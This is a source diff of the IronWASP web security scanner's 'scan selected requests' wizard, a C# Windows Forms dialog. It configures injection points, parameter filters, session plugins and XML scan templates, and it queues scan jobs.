(QueryWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Query.GetNames()) - { - if (QueryWhiteList.Contains(Name)) S.InjectQuery(Name); - } - } - else if (QueryBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Query.GetNames()) - { - if (!QueryBlackList.Contains(Name)) S.InjectQuery(Name); - } - } - else - { - S.InjectQuery(); - } - } - - if (ScanBody) - { - if (BodyWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Body.GetNames()) - { - if (BodyWhiteList.Contains(Name)) S.InjectBody(Name); - } - } - else if (BodyBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Body.GetNames()) - { - if (!BodyBlackList.Contains(Name)) S.InjectBody(Name); - } - } - else - { - S.InjectBody(); - } - } - - if (ScanCookie) - { - if (CookieWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Cookie.GetNames()) - { - if (CookieWhiteList.Contains(Name)) S.InjectCookie(Name); - } - } - else if (CookieBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Cookie.GetNames()) - { - if (!CookieBlackList.Contains(Name)) S.InjectCookie(Name); - } - } - else - { - S.InjectCookie(); - } - } - - if (ScanHeaders) - { - if (HeaderWhiteList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Headers.GetNames()) - { - if (HeaderWhiteList.Contains(Name)) S.InjectHeaders(Name); - } - } - else if (HeaderBlackList.Count > 0) - { - foreach (string Name in S.OriginalRequest.Headers.GetNames()) - { - if (!HeaderBlackList.Contains(Name)) S.InjectHeaders(Name); - } - } - else - { - S.InjectHeaders(); - } - } - - if (ScanUrl) - { - if (S.OriginalRequest.Query.Count == 0 && S.OriginalRequest.File.Length == 0) - S.InjectUrl(); - } - - return S; - } - - Scanner AddActivePlugins(Scanner Scan) - { - foreach (string Name in ActivePlugins) - { - Scan.AddCheck(Name); - } - return Scan; - } - - Scanner SetSessionPlugin(Scanner Scan) - { - if (SelectedSessionPlugin.Length > 0) - { - Scan.SessionHandler = SessionPlugin.Get(SelectedSessionPlugin); - } - else - { - Scan.SessionHandler = new SessionPlugin(); - } - return Scan; - } - - internal void UpdateScanBranchConfigFromUI() - { - - this.ScanUrl = this.InjectUrlPathPartsCB.Checked; - this.ScanQuery = this.InjectQueryCB.Checked; - this.ScanBody = this.InjectBodyCB.Checked; - this.ScanCookie = this.InjectCookieCB.Checked; - this.ScanHeaders = this.InjectHeadersCB.Checked; - - this.SelectedSessionPlugin = ""; - if (this.ScanBranchSessionPluginsCombo.SelectedItem != null) - { - string PluginName = this.ScanBranchSessionPluginsCombo.SelectedItem.ToString(); - if (PluginName.Length > 0) - { - if (SessionPlugin.List().Contains(PluginName)) - { - this.SelectedSessionPlugin = PluginName; - if (ScanThreadLimitCB.Checked) - { - Scanner.MaxParallelScanCount = 1; - IronUI.UpdateScannerSettingsInUIFromConfig(); - IronDB.StoreScannerSettings(); - } - } - } - } - - this.FormatPlugins.Clear(); - - foreach (DataGridViewRow Row in this.FormatGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - this.FormatPlugins.Add(Row.Cells[1].Value.ToString()); - } - } - - this.ActivePlugins.Clear(); - - foreach (DataGridViewRow Row in this.ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - this.ActivePlugins.Add(Row.Cells[1].Value.ToString()); - } - } - - - this.QueryWhiteList.Clear(); - this.QueryBlackList.Clear(); - - this.BodyWhiteList.Clear(); - this.BodyBlackList.Clear(); - - this.CookieWhiteList.Clear(); - this.CookieBlackList.Clear(); - - this.HeaderWhiteList.Clear(); - this.HeaderBlackList.Clear(); - - if (QueryParametersFilterCB.Checked) - { - if (QueryParametersPlusRB.Checked) - { - foreach (string Name in QueryParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.QueryWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in QueryParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.QueryBlackList.Add(Name.Trim()); - } - } - } - - if (BodyParametersFilterCB.Checked) - { - if (BodyParametersPlusRB.Checked) - { - foreach (string Name in BodyParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.BodyWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in BodyParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.BodyBlackList.Add(Name.Trim()); - } - } - } - - if (CookieParametersFilterCB.Checked) - { - if (CookieParametersPlusRB.Checked) - { - foreach (string Name in CookieParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.CookieWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in CookieParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.CookieBlackList.Add(Name.Trim()); - } - } - } - - if (HeadersParametersFilterCB.Checked) - { - if (HeadersParametersPlusRB.Checked) - { - foreach (string Name in HeadersParametersPlusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.HeaderWhiteList.Add(Name.Trim()); - } - } - else - { - foreach (string Name in HeadersParametersMinusTB.Text.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - this.HeaderBlackList.Add(Name.Trim()); - } - } - } - } - - private void BaseTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - switch (BaseTabs.SelectedTab.Name) - { - case ("Zero"): - if (this.CurrentStep != 0) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("One"): - if (this.CurrentStep != 1) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Two"): - if (this.CurrentStep != 2) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Three"): - if (this.CurrentStep != 3) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - case ("Four"): - if (this.CurrentStep != 4) - { - this.BaseTabs.SelectTab(this.CurrentStep); - MessageBox.Show("Use the 'Next Step ->' and 'Previous Step ->' buttons on the bottom left and right corners of this window for navigation."); - } - break; - } - } - - private void FormatGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (FormatGrid.SelectedRows == null) return; - if (FormatGrid.SelectedRows.Count == 0) return; - - if ((bool)FormatGrid.SelectedRows[0].Cells[0].Value) - { - FormatGrid.SelectedRows[0].Cells[0].Value = false; - } - else - { - FormatGrid.SelectedRows[0].Cells[0].Value = true; - } - } - - private void ScanPluginsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ScanPluginsGrid.SelectedRows == null) return; - if (ScanPluginsGrid.SelectedRows.Count == 0) return; - - if ((bool)ScanPluginsGrid.SelectedRows[0].Cells[0].Value) - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = false; - ScanAllPluginsCB.Checked = false; - } - else - { - ScanPluginsGrid.SelectedRows[0].Cells[0].Value = true; - } - } - - void RefreshInjectNamesText() - { - StringBuilder SB = new StringBuilder(); - - if (InjectQueryCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Query"); - } - if (InjectBodyCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Body"); - } - if (InjectCookieCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Cookie"); - } - if (InjectHeadersCB.Checked) - { - if (SB.Length > 0) SB.Append(", "); - SB.Append("Header"); - } - - InjectNamesCB.Text = string.Format("Parameter Names of {0}", SB.ToString()); - } - - private void InjectQueryCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectQueryCB.Checked) - { - QueryParametersFilterCB.Enabled = true; - } - else - { - QueryParametersFilterCB.Checked = false; - QueryParametersFilterCB.Enabled = false; - } - } - - private void InjectBodyCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectBodyCB.Checked) - { - BodyParametersFilterCB.Enabled = true; - } - else - { - BodyParametersFilterCB.Checked = false; - BodyParametersFilterCB.Enabled = false; - } - } - - private void InjectCookieCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectCookieCB.Checked) - { - CookieParametersFilterCB.Enabled = true; - } - else - { - CookieParametersFilterCB.Checked = false; - CookieParametersFilterCB.Enabled = false; - } - } - - private void InjectHeadersCB_CheckedChanged(object sender, EventArgs e) - { - RefreshInjectNamesText(); - if (InjectHeadersCB.Checked) - { - HeadersParametersFilterCB.Enabled = true; - } - else - { - HeadersParametersFilterCB.Checked = false; - HeadersParametersFilterCB.Enabled = false; - } - } - - private void QueryParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersFilterCB.Checked) - { - QueryParametersPlusRB.Enabled = true; - QueryParametersMinusRB.Enabled = true; - QueryParametersPlusTB.Enabled = true; - QueryParametersMinusTB.Enabled = true; - } - else - { - QueryParametersPlusRB.Enabled = false; - QueryParametersMinusRB.Enabled = false; - QueryParametersPlusTB.Enabled = false; - QueryParametersMinusTB.Enabled = false; - } - } - - private void BodyParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersFilterCB.Checked) - { - BodyParametersPlusRB.Enabled = true; - BodyParametersMinusRB.Enabled = true; - BodyParametersPlusTB.Enabled = true; - BodyParametersMinusTB.Enabled = true; - } - else - { - BodyParametersPlusRB.Enabled = false; - BodyParametersMinusRB.Enabled = false; - BodyParametersPlusTB.Enabled = false; - BodyParametersMinusTB.Enabled = false; - } - } - - private void CookieParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersFilterCB.Checked) - { - CookieParametersPlusRB.Enabled = true; - CookieParametersMinusRB.Enabled = true; - CookieParametersPlusTB.Enabled = true; - CookieParametersMinusTB.Enabled = true; - } - else - { - CookieParametersPlusRB.Enabled = false; - CookieParametersMinusRB.Enabled = false; - CookieParametersPlusTB.Enabled = false; - CookieParametersMinusTB.Enabled = false; - } - } - - private void HeadersParametersFilterCB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersFilterCB.Checked) - { - HeadersParametersPlusRB.Enabled = true; - HeadersParametersMinusRB.Enabled = true; - HeadersParametersPlusTB.Enabled = true; - HeadersParametersMinusTB.Enabled = true; - } - else - { - HeadersParametersPlusRB.Enabled = false; - HeadersParametersMinusRB.Enabled = false; - HeadersParametersPlusTB.Enabled = false; - HeadersParametersMinusTB.Enabled = false; - } - } - - private void QueryParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersPlusRB.Checked) - { - QueryParametersFilterCB.Text = "Only scan these Query Parameters:"; - } - } - - private void BodyParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersPlusRB.Checked) - { - BodyParametersFilterCB.Text = "Only scan these Body Parameters:"; - } - } - - private void CookieParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersPlusRB.Checked) - { - CookieParametersFilterCB.Text = "Only scan these Cookie Parameters:"; - } - } - - private void HeadersParametersPlusRB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersPlusRB.Checked) - { - HeadersParametersFilterCB.Text = "Only scan these Header Parameters:"; - } - } - - private void QueryParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (QueryParametersMinusRB.Checked) - { - QueryParametersFilterCB.Text = "Don't scan these Query Parameters:"; - } - } - - private void BodyParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (BodyParametersMinusRB.Checked) - { - BodyParametersFilterCB.Text = "Don't scan these Body Parameters:"; - } - } - - private void CookieParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (CookieParametersMinusRB.Checked) - { - CookieParametersFilterCB.Text = "Don't scan these Cookie Parameters:"; - } - } - - private void HeadersParametersMinusRB_CheckedChanged(object sender, EventArgs e) - { - if (HeadersParametersMinusRB.Checked) - { - HeadersParametersFilterCB.Text = "Don't scan these Header Parameters:"; - } - } - - private void LoadTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - OpenTemplateDialog.Title = "Open an existing Scan Template"; - - while (OpenTemplateDialog.ShowDialog() == DialogResult.OK) - { - try - { - FileInfo OpenedFile = new FileInfo(OpenTemplateDialog.FileName); - StreamReader Reader = new StreamReader(OpenedFile.FullName); - string TemplateXml = Reader.ReadToEnd(); - Reader.Close(); - LoadSettingsFromTemplate(TemplateXml); - ScanTemplateNameLbl.Text = string.Format("Loaded template file - {0}", OpenedFile.Name); - break; - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to open file: {0}", new object[] { Exp.Message })); - } - } - } - - void LoadSettingsFromTemplate(string TemplateXml) - { - XmlDocument XDoc = new XmlDocument(); - XDoc.LoadXml(TemplateXml); - foreach (XmlNode Node in XDoc.ChildNodes[1].ChildNodes) - { - switch (Node.Name) - { - case ("scan_type"): - break; - case ("inject_upp"): - InjectUrlPathPartsCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_query"): - InjectQueryCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_body"): - InjectBodyCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_cookie"): - InjectCookieCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_header"): - InjectHeadersCB.Checked = (Node.InnerText == "true"); - break; - case ("inject_names"): - InjectNamesCB.Checked = (Node.InnerText == "true"); - break; - case ("checks"): - int CheckedCount = 0; - foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) - { - Row.Cells[0].Value = true; - CheckedCount++; - } - } - } - if (CheckedCount == ScanPluginsGrid.Rows.Count) - ScanAllPluginsCB.Checked = true; - else - ScanAllPluginsCB.Checked = false; - break; - case ("formats"): - foreach (string PluginName in Node.InnerText.Split(new char[] { ',' }, StringSplitOptions.RemoveEmptyEntries)) - { - foreach (DataGridViewRow Row in FormatGrid.Rows) - { - if (Row.Cells[1].Value.ToString().Equals(PluginName.Trim())) - { - Row.Cells[0].Value = true; - } - } - } - break; - case ("session_plugin"): - try - { - ScanBranchSessionPluginsCombo.SelectedIndex = ScanBranchSessionPluginsCombo.Items.IndexOf(Node.InnerText); - } - catch { } - break; - case ("query_white_list"): - QueryParametersPlusTB.Text = Node.InnerText; - QueryParametersPlusRB.Checked = true; - break; - case ("query_black_list"): - QueryParametersMinusTB.Text = Node.InnerText; - QueryParametersMinusRB.Checked = true; - break; - case ("body_white_list"): - BodyParametersPlusTB.Text = Node.InnerText; - BodyParametersPlusRB.Checked = true; - break; - case ("body_black_list"): - BodyParametersMinusTB.Text = Node.InnerText; - BodyParametersMinusRB.Checked = true; - break; - case ("cookie_white_list"): - CookieParametersPlusTB.Text = Node.InnerText; - CookieParametersPlusRB.Checked = true; - break; - case ("cookie_black_list"): - CookieParametersMinusTB.Text = Node.InnerText; - CookieParametersMinusRB.Checked = true; - break; - case ("headers_white_list"): - HeadersParametersPlusTB.Text = Node.InnerText; - HeadersParametersPlusRB.Checked = true; - break; - case ("headers_black_list"): - HeadersParametersMinusTB.Text = Node.InnerText; - HeadersParametersMinusRB.Checked = true; - break; - case ("query_filter_type"): - if (Node.InnerText.Equals("+")) - QueryParametersPlusRB.Checked = true; - else - QueryParametersMinusRB.Checked = true; - break; - case ("body_filter_type"): - if (Node.InnerText.Equals("+")) - BodyParametersPlusRB.Checked = true; - else - BodyParametersMinusRB.Checked = true; - break; - case ("cookie_filter_type"): - if (Node.InnerText.Equals("+")) - CookieParametersPlusRB.Checked = true; - else - CookieParametersMinusRB.Checked = true; - break; - case ("headers_filter_type"): - if (Node.InnerText.Equals("+")) - HeadersParametersPlusRB.Checked = true; - else - HeadersParametersMinusRB.Checked = true; - break; - } - } - } - - private void SaveTemplateLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - while (SaveTemplateDialog.ShowDialog() == DialogResult.OK) - { - FileInfo Info = new FileInfo(SaveTemplateDialog.FileName); - string Content = GetTemplateXml(); - if (Info.Name.Length == 0) - { - MessageBox.Show("Please enter a name"); - } - else if (!Info.Name.EndsWith(".isst")) - { - MessageBox.Show("The file extension must be .isst"); - } - else - { - try - { - StreamWriter Writer = new StreamWriter(Info.FullName); - Writer.Write(Content); - Writer.Close(); - } - catch (Exception Exp) - { - MessageBox.Show(string.Format("Unable to save file: {0}", new object[] { Exp.Message })); - } - break; - } - } - } - - string GetTemplateXml() - { - StringBuilder SB = new StringBuilder(); - XmlWriterSettings XWS = new XmlWriterSettings(); - XWS.Indent = true; - XmlWriter XW = XmlWriter.Create(SB, XWS); - XW.WriteStartDocument(); - XW.WriteStartElement("scan_template"); - XW.WriteStartElement("version"); XW.WriteValue("1.0"); XW.WriteEndElement(); - XW.WriteStartElement("scan_type"); XW.WriteValue("3"); XW.WriteEndElement(); - //Crawler settings - - //Selected Injection Points - XW.WriteStartElement("inject_upp"); XW.WriteValue(InjectUrlPathPartsCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_query"); XW.WriteValue(InjectQueryCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_body"); XW.WriteValue(InjectBodyCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_cookie"); XW.WriteValue(InjectCookieCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_header"); XW.WriteValue(InjectHeadersCB.Checked); XW.WriteEndElement(); - XW.WriteStartElement("inject_names"); XW.WriteValue(InjectNamesCB.Checked); XW.WriteEndElement(); - //Selected checks - XW.WriteStartElement("checks"); - StringBuilder CB = new StringBuilder(); - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (CB.Length > 0) CB.Append(", "); - CB.Append(Row.Cells[1].Value.ToString()); - } - } - XW.WriteValue(CB.ToString()); - XW.WriteEndElement(); - - //Selected formats - XW.WriteStartElement("checks"); - StringBuilder FB = new StringBuilder(); - foreach (DataGridViewRow Row in FormatGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - if (FB.Length > 0) FB.Append(", "); - FB.Append(Row.Cells[1].Value.ToString()); - } - } - XW.WriteValue(FB.ToString()); - XW.WriteEndElement(); - if (ScanBranchSessionPluginsCombo.SelectedIndex > -1) - { - XW.WriteStartElement("session_plugin"); XW.WriteValue(ScanBranchSessionPluginsCombo.Text); XW.WriteEndElement(); - } - - XW.WriteStartElement("query_white_list"); XW.WriteValue(QueryParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("query_black_list"); XW.WriteValue(QueryParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("body_white_list"); XW.WriteValue(BodyParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("body_black_list"); XW.WriteValue(BodyParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("cookie_white_list"); XW.WriteValue(CookieParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("cookie_black_list"); XW.WriteValue(CookieParametersMinusTB.Text); XW.WriteEndElement(); - - XW.WriteStartElement("headers_white_list"); XW.WriteValue(HeadersParametersPlusTB.Text); XW.WriteEndElement(); - XW.WriteStartElement("headers_black_list"); XW.WriteValue(HeadersParametersMinusTB.Text); XW.WriteEndElement(); - - if (QueryParametersPlusRB.Checked) - { - XW.WriteStartElement("query_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("query_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (BodyParametersPlusRB.Checked) - { - XW.WriteStartElement("body_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("body_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (CookieParametersPlusRB.Checked) - { - XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("cookie_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - if (HeadersParametersPlusRB.Checked) - { - XW.WriteStartElement("headers_filter_type"); XW.WriteValue("+"); XW.WriteEndElement(); - } - else - { - XW.WriteStartElement("headers_filter_type"); XW.WriteValue("-"); XW.WriteEndElement(); - } - - XW.WriteEndElement(); - XW.WriteEndDocument(); - XW.Close(); - return SB.ToString(); - } - - private void LaunchSessionPluginCreationAssistantLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - SessionPluginCreationAssistant SPCA = new SessionPluginCreationAssistant(); - SPCA.Show(); - } - - private void RefreshSessListLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - ScanBranchSessionPluginsCombo.Items.Clear(); - ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); - } - - delegate void UpdateScanBranchStats_d(int ScanDone, int TotalScans, string Message, bool Progress, bool CloseWindow); - internal void UpdateScanBranchStats(int ScanDone, int TotalScans, string Message, bool Progress, bool CloseWindow) - { - if (ScanBranchProgressLbl.InvokeRequired) - { - UpdateScanBranchStats_d USBS_d = new UpdateScanBranchStats_d(UpdateScanBranchStats); - ScanBranchProgressLbl.Invoke(USBS_d, new object[] { ScanDone, TotalScans, Message, Progress, CloseWindow }); - } - else - { - if (Progress) ScanBranchProgressBar.PerformStep(); - ScanBranchProgressLbl.Text = Message; - if (ScanDone == TotalScans) - { - FinalBtn.Text = "Close"; - FinalBtn.Enabled = true; - } - if (CloseWindow) - { - this.CanClose = true; - this.Close(); - } - } - } - - private void ScanAllPluginsCB_Click(object sender, EventArgs e) - { - foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) - { - Row.Cells[0].Value = ScanAllPluginsCB.Checked; - } - } - - private void ScanSelectedWizard_FormClosing(object sender, FormClosingEventArgs e) - { - if (IronUI.UI.CanShutdown) return; - if (!CanClose) - { - if (this.CurrentStep == 0) - { - this.CanClose = true; - } - else if (this.CurrentStep == 4) - { - e.Cancel = true; - if (StepFourPreviousBtn.Enabled) - { - MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - else - { - MessageBox.Show("This window cannot be closed by the user now.\r\nAfter all scan jobs are created the window will automatically close."); - } - } - else - { - e.Cancel = true; - MessageBox.Show("This window can only be closed from the first step.\r\nUse the '<- Previous Step' button on the bottom left corner to go to the first step and then press the 'Cancel' button on the bottom left corner."); - } - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.IO; +using System.Xml; +using System.Threading; + +namespace IronWASP +{ + public partial class ScanSelectedWizard : Form + { + bool CanClose = false; + + int CurrentStep = 0; + + Thread ScanCreationThread; + + int TotalScans = 0; + int ScanDone = 0; + + List LogIdsToScan = new List(); + string LogSource = ""; + + internal bool ScanUrl = true; + internal bool ScanQuery = true; + internal bool ScanBody = true; + internal bool ScanCookie = true; + internal bool ScanHeaders = true; + + internal string SelectedSessionPlugin = ""; + internal List FormatPlugins = new List(); + + internal List ActivePlugins = new List(); + + internal List QueryWhiteList = new List(); + internal List QueryBlackList = new List(); + + internal List BodyWhiteList = new List(); + internal List BodyBlackList = new List(); + + internal List CookieWhiteList = new List(); + internal List CookieBlackList = new List(); + + internal List HeaderWhiteList = new List(); + internal List HeaderBlackList = new List(); + + + public ScanSelectedWizard() + { + InitializeComponent(); + } + + private void ScanSelectedWizard_Load(object sender, EventArgs e) + { + foreach (string Name in ActivePlugin.List()) + { + ScanPluginsGrid.Rows.Add(new object[] { true, Name }); + } + foreach (string Name in FormatPlugin.List()) + { + FormatGrid.Rows.Add(new object[] { true, Name }); + } + ScanBranchSessionPluginsCombo.Items.AddRange(SessionPlugin.List().ToArray()); + + if (InjectQueryCB.Checked) QueryParametersFilterCB.Enabled = true; + if (InjectBodyCB.Checked) BodyParametersFilterCB.Enabled = true; + if (InjectCookieCB.Checked) CookieParametersFilterCB.Enabled = true; + if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Enabled = true; + } + + internal void SetSourceAndLogs(string Source, List LogIds) + { + this.LogSource = Source; + this.LogIdsToScan.AddRange(LogIds); + } + + private void CancelBtn_Click(object sender, EventArgs e) + { + this.CanClose = true; + this.Close(); + } + + private void StepZeroNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab(1); + } + + private void StepOnePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 0; + this.BaseTabs.SelectTab(0); + } + + private void StepOneNextBtn_Click(object sender, EventArgs e) + { + ShowStep1Error(""); + string Msg = CheckStep1Input(); + if (Msg.Length == 0) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + else + { + ShowStep1Error(Msg); + } + } + + private void StepTwoPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 1; + this.BaseTabs.SelectTab(1); + } + + private void StepTwoNextBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 3; + this.BaseTabs.SelectTab(3); + } + + private void StepThreePreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 2; + this.BaseTabs.SelectTab(2); + } + + private void StepThreeNextBtn_Click(object sender, EventArgs e) + { + ShowStep3Error(""); + string Msg = CheckStep3Input(); + if (Msg.Length == 0) + { + this.CurrentStep = 4; + this.BaseTabs.SelectTab(4); + } + else + { + ShowStep3Error(Msg); + } + } + + private void StepFourPreviousBtn_Click(object sender, EventArgs e) + { + this.CurrentStep = 3; + this.BaseTabs.SelectTab(3); + } + + void ShowStep1Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step1StatusTB.Visible = false; + } + else + { + this.Step1StatusTB.ForeColor = Color.Red; + this.Step1StatusTB.Visible = true; + } + } + void ShowStep2Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + void ShowStep3Error(string Text) + { + this.Step1StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step3StatusTB.Visible = false; + } + else + { + this.Step3StatusTB.ForeColor = Color.Red; + this.Step3StatusTB.Visible = true; + } + } + void ShowStep4Error(string Text) + { + this.Step2StatusTB.Text = Text; + if (Text.Length == 0) + { + this.Step2StatusTB.Visible = false; + } + else + { + this.Step2StatusTB.ForeColor = Color.Red; + this.Step2StatusTB.Visible = true; + } + } + + string CheckStep1Input() + { + if (!(InjectQueryCB.Checked || InjectBodyCB.Checked || InjectCookieCB.Checked || InjectHeadersCB.Checked || InjectUrlPathPartsCB.Checked || InjectNamesCB.Checked)) + { + return "Atleat one section of the request must be selected for scanning."; + } + if (InjectQueryCB.Checked) QueryParametersFilterCB.Checked = true; + if (InjectBodyCB.Checked) BodyParametersFilterCB.Checked = true; + if (InjectCookieCB.Checked) CookieParametersFilterCB.Checked = true; + if (InjectHeadersCB.Checked) HeadersParametersFilterCB.Checked = true; + + foreach (DataGridViewRow Row in ScanPluginsGrid.Rows) + { + if ((bool)Row.Cells[0].Value) + { + return ""; + } + } + return "Atleat one security check must be selected for scanning."; + } + + string CheckStep3Input() + { + if (ScanBranchSessionPluginsCombo.Text.Trim().Length > 0 && !SessionPlugin.List().Contains(ScanBranchSessionPluginsCombo.Text)) + { + return "Session Plugin value is invalid, either enter a valid Plugin name or leave this value blank"; + } + return ""; + } + + private void FinalBtn_Click(object sender, EventArgs e) + { + if (FinalBtn.Text.Equals("Close")) + { + this.CanClose = true; + this.Close(); + return; + } + + if (ScanCreationThread != null) + { + try + { + ScanCreationThread.Abort(); + } + catch { } + } + + UpdateScanBranchConfigFromUI(); + + ScanBranchProgressBar.Minimum = 0; + ScanBranchProgressBar.Maximum = LogIdsToScan.Count; + ScanBranchProgressBar.Step = 1; + ScanBranchProgressBar.Value = 0; + ScanBranchProgressLbl.Text = LogIdsToScan.Count.ToString() + " Requests Selected"; + ScanBranchStatsPanel.Visible = true; + + TotalScans = LogIdsToScan.Count; + + ScanCreationThread = new Thread(CreateScans); + ScanCreationThread.Start(); + + StepFourPreviousBtn.Enabled = false; + FinalBtn.Enabled = false; + } + + void CreateScans() + { + foreach (int LogId in LogIdsToScan) + { + try + { + Request Req = Request.FromLog(LogId, this.LogSource); + CreateScan(Req); + } + catch { } + } + UpdateScanBranchStats(0, 0, "All Scan Jobs Created && Queued. Close this Window.", false, true); + } + + void CreateScan(Request Req) + { + Scanner Scan = new Scanner(Req); + Scan = SetSessionPlugin(Scan); + Scan = SetFormatPlugin(Scan); + Scan = AddActivePlugins(Scan); + Scan 